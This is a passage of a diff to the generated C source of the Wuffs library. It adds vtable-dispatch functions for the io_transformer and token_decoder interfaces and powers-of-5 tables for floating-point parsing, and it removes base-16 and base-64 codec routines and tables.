uint32_t options) { +- return wuffs_base__private_implementation__render_number_u64(dst, x, options, +- false); ++ return 0; + } + +-// ---------------- Base-16 ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__io_transformer__set_quirk( ++ wuffs_base__io_transformer* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_16__decode2(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- wuffs_base__transform__output o; +- size_t src_len2 = src.len / 2; +- size_t len; +- if (dst.len < src_len2) { +- len = dst.len; +- o.status.repr = wuffs_base__suspension__short_write; +- } else { +- len = src_len2; +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- } else if (src.len & 1) { +- o.status.repr = wuffs_base__error__bad_data; +- } else { +- o.status.repr = NULL; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; + } ++ v++; + } + +- uint8_t* d = dst.ptr; +- uint8_t* s = src.ptr; +- size_t n = len; ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +- while (n--) { +- *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[0]] << 4) | +- (wuffs_base__parse_number__hexadecimal_digits[s[1]] & 0x0F)); +- d += 1; +- s += 2; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__io_transformer__transform_io( ++ wuffs_base__io_transformer* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- o.num_dst = len; +- o.num_src = len * 2; +- return o; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->transform_io)(self, a_dst, a_src, a_workbuf); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_16__decode4(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- wuffs_base__transform__output o; +- size_t src_len4 = src.len / 4; +- size_t len = dst.len < src_len4 ? dst.len : src_len4; +- if (dst.len < src_len4) { +- len = dst.len; +- o.status.repr = wuffs_base__suspension__short_write; +- } else { +- len = src_len4; +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- } else if (src.len & 1) { +- o.status.repr = wuffs_base__error__bad_data; +- } else { +- o.status.repr = NULL; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_base__io_transformer__workbuf_len( ++ const wuffs_base__io_transformer* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } + +- uint8_t* d = dst.ptr; +- uint8_t* s = src.ptr; +- size_t n = len; +- +- while (n--) { +- *d = (uint8_t)((wuffs_base__parse_number__hexadecimal_digits[s[2]] << 4) | +- (wuffs_base__parse_number__hexadecimal_digits[s[3]] & 0x0F)); +- d += 1; +- s += 4; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { ++ const wuffs_base__io_transformer__func_ptrs* func_ptrs = ++ (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->workbuf_len)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- o.num_dst = len; +- o.num_src = len * 4; +- return o; ++ return wuffs_base__utility__empty_range_ii_u64(); + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_16__encode2(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- wuffs_base__transform__output o; +- size_t dst_len2 = dst.len / 2; +- size_t len; +- if (dst_len2 < src.len) { +- len = dst_len2; +- o.status.repr = wuffs_base__suspension__short_write; +- } else { +- len = src.len; +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- } else { +- o.status.repr = NULL; +- } +- } ++// -------- + +- uint8_t* d = dst.ptr; +- uint8_t* s = src.ptr; +- size_t n = len; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__token_decoder__decode_tokens( ++ wuffs_base__token_decoder* self, ++ wuffs_base__token_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +- while (n--) { +- uint8_t c = *s; +- d[0] = wuffs_base__private_implementation__encode_base16[c >> 4]; +- d[1] = wuffs_base__private_implementation__encode_base16[c & 0x0F]; +- d += 2; +- s += 1; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { ++ const wuffs_base__token_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->decode_tokens)(self, a_dst, a_src, a_workbuf); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- o.num_dst = len * 2; +- o.num_src = len; +- return o; ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); + } + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__transform__output // +-wuffs_base__base_16__encode4(wuffs_base__slice_u8 dst, +- wuffs_base__slice_u8 src, +- bool src_closed, +- uint32_t options) { +- wuffs_base__transform__output o; +- size_t dst_len4 = dst.len / 4; +- size_t len; +- if (dst_len4 < src.len) { +- len = dst_len4; +- o.status.repr = wuffs_base__suspension__short_write; +- } else { +- len = src.len; +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- } else { +- o.status.repr = NULL; +- } ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__token_decoder__get_quirk( ++ const wuffs_base__token_decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- uint8_t* d = dst.ptr; +- uint8_t* s = src.ptr; +- size_t n = len; +- +- while (n--) { +- uint8_t c = *s; +- d[0] = '\\'; +- d[1] = 'x'; +- d[2] = wuffs_base__private_implementation__encode_base16[c >> 4]; +- d[3] = wuffs_base__private_implementation__encode_base16[c & 0x0F]; +- d += 4; +- s += 1; ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { ++ const wuffs_base__token_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->get_quirk)(self, a_key); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; + } + +- o.num_dst = len * 4; +- o.num_src = len; +- return o; ++ return 0; + } + +-// ---------------- Base-64 ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__token_decoder__set_quirk( ++ wuffs_base__token_decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } + +-// The two base-64 alphabets, std and url, differ only in the last two codes. +-// - std: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" +-// - url: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { ++ const wuffs_base__token_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->set_quirk)(self, a_key, a_value); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +-static const uint8_t wuffs_base__base_64__decode_std[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. +- 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, 0x80, 0x3F, // 0x28 ..= 0x2F. +- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. +- 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. ++ return wuffs_base__make_status(wuffs_base__error__bad_vtable); ++} + +- 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. +- 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. +- 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. +- 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x58 ..= 0x5F. +- 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. +- 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. +- 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. +- 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_base__token_decoder__workbuf_len( ++ const wuffs_base__token_decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); ++ } + +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. ++ const wuffs_base__vtable* v = &self->private_impl.first_vtable; ++ int i; ++ for (i = 0; i < 63; i++) { ++ if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { ++ const wuffs_base__token_decoder__func_ptrs* func_ptrs = ++ (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); ++ return (*func_ptrs->workbuf_len)(self); ++ } else if (v->vtable_name == NULL) { ++ break; ++ } ++ v++; ++ } + +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +-}; ++ return wuffs_base__utility__empty_range_ii_u64(); ++} + +-static const uint8_t wuffs_base__base_64__decode_url[256] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x00 ..= 0x07. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x08 ..= 0x0F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x10 ..= 0x17. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x18 ..= 0x1F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x20 ..= 0x27. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x3E, 0x80, 0x80, // 0x28 ..= 0x2F. +- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, // 0x30 ..= 0x37. +- 0x3C, 0x3D, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x38 ..= 0x3F. ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) + +- 0x80, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // 0x40 ..= 0x47. +- 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, // 0x48 ..= 0x4F. +- 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, // 0x50 ..= 0x57. +- 0x17, 0x18, 0x19, 0x80, 0x80, 0x80, 0x80, 0x3F, // 0x58 ..= 0x5F. +- 0x80, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, // 0x60 ..= 0x67. +- 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, // 0x68 ..= 0x6F. +- 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, // 0x70 ..= 0x77. +- 0x31, 0x32, 0x33, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x78 ..= 0x7F. ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) + +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x80 ..= 0x87. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x88 ..= 0x8F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x90 ..= 0x97. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0x98 ..= 0x9F. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA0 ..= 0xA7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xA8 ..= 0xAF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB0 ..= 0xB7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xB8 ..= 0xBF. ++// ---------------- IEEE 754 Floating Point + +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC0 ..= 0xC7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xC8 ..= 0xCF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD0 ..= 0xD7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xD8 ..= 0xDF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE0 ..= 0xE7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xE8 ..= 0xEF. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF0 ..= 0xF7. +- 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, 0x80, // 0xF8 ..= 0xFF. +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F ++// The etc__hpd_left_shift and etc__powers_of_5 tables were printed by ++// script/print-hpd-left-shift.go. That script has an optional -comments flag, ++// whose output is not copied here, which prints further detail. ++// ++// These tables are used in ++// wuffs_private_impl__high_prec_dec__lshift_num_new_digits. ++ ++// wuffs_private_impl__hpd_left_shift[i] encodes the number of new digits ++// created after multiplying a positive integer by (1 << i): the additional ++// length in the decimal representation. For example, shifting "234" by 3 ++// (equivalent to multiplying by 8) will produce "1872". Going from a 3-length ++// string to a 4-length string means that 1 new digit was added (and existing ++// digits may have changed). ++// ++// Shifting by i can add either N or N-1 new digits, depending on whether the ++// original positive integer compares >= or < to the i'th power of 5 (as 10 ++// equals 2 * 5). Comparison is lexicographic, not numerical. ++// ++// For example, shifting by 4 (i.e. multiplying by 16) can add 1 or 2 new ++// digits, depending on a lexicographic comparison to (5 ** 4), i.e. "625": ++// - ("1" << 4) is "16", which adds 1 new digit. ++// - ("5678" << 4) is "90848", which adds 1 new digit. ++// - ("624" << 4) is "9984", which adds 1 new digit. ++// - ("62498" << 4) is "999968", which adds 1 new digit. ++// - ("625" << 4) is "10000", which adds 2 new digits. ++// - ("625001" << 4) is "10000016", which adds 2 new digits. ++// - ("7008" << 4) is "112128", which adds 2 new digits. ++// - ("99" << 4) is "1584", which adds 2 new digits. ++// ++// Thus, when i is 4, N is 2 and (5 ** i) is "625". This etc__hpd_left_shift ++// array encodes this as: ++// - etc__hpd_left_shift[4] is 0x1006 = (2 << 11) | 0x0006. ++// - etc__hpd_left_shift[5] is 0x1009 = (? << 11) | 0x0009. ++// where the ? isn't relevant for i == 4. ++// ++// The high 5 bits of etc__hpd_left_shift[i] is N, the higher of the two ++// possible number of new digits. The low 11 bits are an offset into the ++// etc__powers_of_5 array (of length 0x051C, so offsets fit in 11 bits). When i ++// is 4, its offset and the next one is 6 and 9, and etc__powers_of_5[6 .. 9] ++// is the string "\x06\x02\x05", so the relevant power of 5 is "625". ++// ++// Thanks to Ken Thompson for the original idea. ++static const uint16_t wuffs_private_impl__hpd_left_shift[65] = { ++ 0x0000, 0x0800, 0x0801, 0x0803, 0x1006, 0x1009, 0x100D, 0x1812, 0x1817, ++ 0x181D, 0x2024, 0x202B, 0x2033, 0x203C, 0x2846, 0x2850, 0x285B, 0x3067, ++ 0x3073, 0x3080, 0x388E, 0x389C, 0x38AB, 0x38BB, 0x40CC, 0x40DD, 0x40EF, ++ 0x4902, 0x4915, 0x4929, 0x513E, 0x5153, 0x5169, 0x5180, 0x5998, 0x59B0, ++ 0x59C9, 0x61E3, 0x61FD, 0x6218, 0x6A34, 0x6A50, 0x6A6D, 0x6A8B, 0x72AA, ++ 0x72C9, 0x72E9, 0x7B0A, 0x7B2B, 0x7B4D, 0x8370, 0x8393, 0x83B7, 0x83DC, ++ 0x8C02, 0x8C28, 0x8C4F, 0x9477, 0x949F, 0x94C8, 0x9CF2, 0x051C, 0x051C, ++ 0x051C, 0x051C, + }; + +-static const uint8_t wuffs_base__base_64__encode_std[64] = { +- // 0 1 2 3 4 5 6 7 +- // 8 9 A B C D E F +- 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, // 0x00 ..= 0x07. +- 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, // 0x08 ..= 0x0F. +- 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, // 0x10 ..= 0x17. +- 0x59, 0x5A, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, // 0x18 ..= 0x1F. +- 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, // 0x20 ..= 0x27. +- 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, // 0x28 ..= 0x2F. +- 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33, // 0x30 ..= 0x37. +- 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x2B, 0x2F, // 0x38 ..= 0x3F. ++// wuffs_private_impl__powers_of_5 contains the powers of 5, concatenated ++// together: "5", "25", "125", "625", "3125", etc. ++static const uint8_t wuffs_private_impl__powers_of_5[0x051C] = { ++ 5, 2, 5, 1, 2, 5, 6, 2, 5, 3, 1, 2, 5, 1, 5, 6, 2, 5, 7, 8, 1, 2, 5, 3, 9, ++ 0, 6, 2, 5, 1, 9, 5, 3, 1, 2, 5, 9, 7, 6, 5, 6, 2, 5, 4, 8, 8, 2, 8, 1, 2, ++ 5, 2, 4, 4, 1, 4, 0, 6, 2, 5, 1, 2, 2, 0, 7, 0, 3, 1, 2, 5, 6, 1, 0, 3, 5, ++ 1, 5, 6, 2, 5, 3, 0, 5, 1, 7, 5, 7, 8, 1, 2, 5, 1, 5, 2, 5, 8, 7, 8, 9, 0, ++ 6, 2, 5, 7, 6, 2, 9, 3, 9, 4, 5, 3, 1, 2, 5, 3, 8, 1, 4, 6, 9, 7, 2, 6, 5, ++ 6, 2, 5, 1, 9, 0, 7, 3, 4, 8, 6, 3, 2, 8, 1, 2, 5, 9, 5, 3, 6, 7, 4, 3, 1, ++ 6, 4, 0, 6, 2, 5, 4, 7, 6, 8, 3, 7, 1, 5, 8, 2, 0, 3, 1, 2, 5, 2, 3, 8, 4, ++ 1, 8, 5, 7, 9, 1, 0, 1, 5, 6, 2, 5, 1, 1, 9, 2, 0, 9, 2, 8, 9, 5, 5, 0, 7, ++ 8, 1, 2, 5, 5, 9, 6, 0, 4, 6, 4, 4, 7, 7, 5, 3, 9, 0, 6, 2, 5, 2, 9, 8, 0, ++ 2, 3, 2, 2, 3, 8, 7, 6, 9, 5, 3, 1, 2, 5, 1, 4, 9, 0, 1, 1, 6, 1, 1, 9, 3, ++ 8, 4, 7, 6, 5, 6, 2, 5, 7, 4, 5, 0, 5, 8, 0, 5, 9, 6, 9, 2, 3, 8, 2, 8, 1, ++ 2, 5, 3, 7, 2, 5, 2, 9, 0, 2, 9, 8, 4, 6, 1, 9, 1, 4, 0, 6, 2, 5, 1, 8, 6, ++ 2, 6, 4, 5, 1, 4, 9, 2, 3, 0, 9, 5, 7, 0, 3, 1, 2, 5, 9, 3, 1, 3, 2, 2, 5, ++ 7, 4, 6, 1, 5, 4, 7, 8, 5, 1, 5, 6, 2, 5, 4, 6, 5, 6, 6, 1, 2, 8, 7, 3, 0, ++ 7, 7, 3, 9, 2, 5, 7, 8, 1, 2, 5, 2, 3, 2, 8, 3, 0, 6, 4, 3, 6, 5, 3, 8, 6, ++ 9, 6, 2, 8, 9, 0, 6, 2, 5, 1, 1, 6, 4, 1, 5, 3, 2, 1, 8, 2, 6, 9, 3, 4, 8, ++ 1, 4, 4, 5, 3, 1, 2, 5, 5, 8, 2, 0, 7, 6, 6, 0, 9, 1, 3, 4, 6, 7, 4, 0, 7, ++ 2, 2, 6, 5, 6, 2, 5, 2, 9, 1, 0, 3, 8, 3, 0, 4, 5, 6, 7, 3, 3, 7, 0, 3, 6, ++ 1, 3, 2, 8, 1, 2, 5, 1, 4, 5, 5, 1, 9, 1, 5, 2, 2, 8, 3, 6, 6, 8, 5, 1, 8, ++ 0, 6, 6, 4, 0, 6, 2, 5, 7, 2, 7, 5, 9, 5, 7, 6, 1, 4, 1, 8, 3, 4, 2, 5, 9, ++ 0, 3, 3, 2, 0, 3, 1, 2, 5, 3, 6, 3, 7, 9, 7, 8, 8, 0, 7, 0, 9, 1, 7, 1, 2, ++ 9, 5, 1, 6, 6, 0, 1, 5, 6, 2, 5, 1, 8, 1, 8, 9, 8, 9, 4, 0, 3, 5, 4, 5, 8, ++ 5, 6, 4, 7, 5, 8, 3, 0, 0, 7, 8, 1, 2, 5, 9, 0, 9, 4, 9, 4, 7, 0, 1, 7, 7, ++ 2, 9, 2, 8, 2, 3, 7, 9, 1, 5, 0, 3, 9, 0, 6, 2, 5, 4, 5, 4, 7, 4, 7, 3, 5, ++ 0, 8, 8, 6, 4, 6, 4, 1, 1, 8, 9, 5, 7, 5, 1, 9, 5, 3, 1, 2, 5, 2, 2, 7, 3, ++ 7, 3, 6, 7, 5, 4, 4, 3, 2, 3, 2, 0, 5, 9, 4, 7, 8, 7, 5, 9, 7, 6, 5, 6, 2, ++ 5, 1, 1, 3, 6, 8, 6, 8, 3, 7, 7, 2, 1, 6, 1, 6, 0, 2, 9, 7, 3, 9, 3, 7, 9, ++ 8, 8, 2, 8, 1, 2, 5, 5, 6, 8, 4, 3, 4, 1, 8, 8, 6, 0, 8, 0, 8, 0, 1, 4, 8, ++ 6, 9, 6, 8, 9, 9, 4, 1, 4, 0, 6, 2, 5, 2, 8, 4, 2, 1, 7, 0, 9, 4, 3, 0, 4, ++ 0, 4, 0, 0, 7, 4, 3, 4, 8, 4, 4, 9, 7, 0, 7, 0, 3, 1, 2, 5, 1, 4, 2, 1, 0, ++ 8, 5, 4, 7, 1, 5, 2, 0, 2, 0, 0, 3, 7, 1, 7, 4, 2, 2, 4, 8, 5, 3, 5, 1, 5, ++ 6, 2, 5, 7, 1, 0, 5, 4, 2, 7, 3, 5, 7, 6, 0, 1, 0, 0, 1, 8, 5, 8, 7, 1, 1, ++ 2, 4, 2, 6, 7, 5, 7, 8, 1, 2, 5, 3, 5, 5, 2, 7, 1, 3, 6, 7, 8, 8, 0, 0, 5, ++ 0, 0, 9, 2, 9, 3, 5, 5, 6, 2, 1, 3, 3, 7, 8, 9, 0, 6, 2, 5, 1, 7, 7, 6, 3, ++ 5, 6, 8, 3, 9, 4, 0, 0, 2, 5, 0, 4, 6, 4, 6, 7, 7, 8, 1, 0, 6, 6, 8, 9, 4, ++ 5, 3, 1, 2, 5, 8, 8, 8, 1, 7, 8, 4, 1, 9, 7, 0, 0, 1, 2, 5, 2, 3, 2, 3, 3, ++ 8, 9, 0, 5, 3, 3, 4, 4, 7, 2, 6, 5, 6, 2, 5, 4, 4, 4, 0, 8, 9, 2, 0, 9, 8, ++ 5, 0, 0, 6, 2, 6, 1, 6, 1, 6, 9, 4, 5, 2, 6, 6, 7, 2, 3, 6, 3, 2, 8, 1, 2, ++ 5, 2, 2, 2, 0, 4, 4, 6, 0, 4, 9, 2, 5, 0, 3, 